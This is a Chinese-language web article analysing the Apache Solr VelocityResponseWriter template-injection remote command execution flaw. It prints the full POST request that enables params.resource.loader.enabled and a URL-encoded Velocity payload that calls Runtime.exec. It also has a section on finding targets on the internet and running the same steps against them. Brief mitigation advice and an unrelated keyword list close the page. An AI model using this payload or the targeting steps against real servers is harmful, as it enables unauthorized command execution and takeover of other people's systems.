千家信息网

Apache Solr Velocity模板注入远程命令执行漏洞的示例分析

发表于:2025-01-21 作者:千家信息网编辑
千家信息网最后更新 2025年01月21日,这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入远程命令执行漏洞的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00
千家信息网最后更新 2025年01月21日Apache Solr Velocity模板注入远程命令执行漏洞的示例分析

这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入远程命令执行漏洞的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

0x00 前言

今天在群里看到有人说GitHub上公布了一个关于solr的RCE漏洞,于是立马复现了一波!确定该poc是真实有效的。

solr简介:

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

0x01 漏洞详情

该漏洞的产生原因:

  1. 攻击者可以直接访问solr admin页面,并可以通过构造post请求来修改节点的配置.

  2. Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的请求,在服务器上进行命令执行,从而获取服务器的权限。

关于params.resource.loader.enabled的介绍:

https://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html

中文版的:

https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html

0x02 影响范围:

应该是影响solr5(暂不确定)到最新版本.

0x03 环境搭建:

环境情况:

solr版本: solr8.2.0

操作系统:windows

搭建步骤:

  1. 下载漏洞范围影响范围内的solr,我这里使用最新版的8.2.0 (solr启动需要java环境的支持,所以要提前安装好java)

  2. 解压下载的solr,然后进入到solr的bin目录下,执行以下命令启动solr:



solr start -p 8983

可以看到显示已经启动:

  1. 浏览器访问验证下:

  1. 创建一个core,可以在网页创建,也可以在命令行下创建.

这里演示下在命令行创建:

可以看到成功创建.

网页创建core可参考:

https://blog.csdn.net/weixin_39082031/article/details/78924909

  1. 访问验证我们的core是否创建成功:

可以看到已经成功创建!

0x04 漏洞复现:

本地复现:

  1. 访问solr站点:

获取到其core名为test.

  1. 访问该core的config路径,查看其配置,并搜索params.resource.loader.enabled参数:

可以看到其默认是关闭的.

  1. 我们可以通过构造POST数据包来开启params.resource.loader.enabled

POST数据包:



POST /solr/test/config HTTP/1.1 Host: 172.26.1.173:8983 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }

示例:

可以看到响应包.说会在未来改变(也就是我们修改的配置一会会生效)

  1. 我们重新访问:

可以看到我们构造的请求已经成功开启了params.resource.loader.enabled

  1. 利用GitHub上的payload进行命令执行:



select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

我们靶机为windows所以修改id为windows下的命令:

互联网站点:

找一个目标:

  1. 获取该solr的节点名:

  1. 进入到该节点的config:

  1. ctrl + f 搜索params.resource.loader.enabled 若该参数对应的值为true 即存在该漏洞!

若对应的值为false,则可以通过发送post包来将其修改为true!

POST数据包:



POST /solr/获取到的节点名/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }

该参数为true后,直接使用GitHub上的poc:



select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

  1. 直接get请求:

0x04 漏洞修复:

1、官方还暂未发布该漏洞的相关补丁,建议用户设置solr后台为登陆认证!!!

限制互联网用户对solr admin的访问!

2、删除params.resource.loader.enabled的配置。

3、时刻关注solr官方,出现新版本要赶快更新

上述就是小编为大家分享的Apache Solr Velocity模板注入远程命令执行漏洞的示例分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。

漏洞 命令 参数 可以通过 分析 成功 服务器 用户 搜索 服务 配置 示例 数据 环境 范围 影响 模板 互联网 内容 官方 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 孝感市网络安全日 文山天网互联网络技术 软件开发项目建议表 门头沟区网络软件开发价目表 计算机网络技术17年自考 饥荒服务器崩溃是什么意思 手机玩泰拉瑞亚服务器卡 腾讯轻量云服务器防火墙关闭命令 调取服务器镜像还原 如何查看服务器是否开启最大性能 网络安全专业属于艺术类吗 镇网络安全报告 inux服务器设计 商品类型存储数据库 龙口电商软件开发推荐 正则表达式 数据库 长沙新米网络技术有限公司 彩虹六号北美服务器人多吗 肃州区网络安全教育 奉贤区信息软件开发网上价格 中文科技期刊数据库全文收录 网络安全精英赛初赛证书有用吗 包商银行软件开发岗面试题目 服务器配置评估模板 安徽服务器回收有哪些公司 hcl数据库 江西佑佐互联网科技有限公司 万方数据库知识点 河南信阳首选dns服务器云主机 乡镇网络安全治理方案
0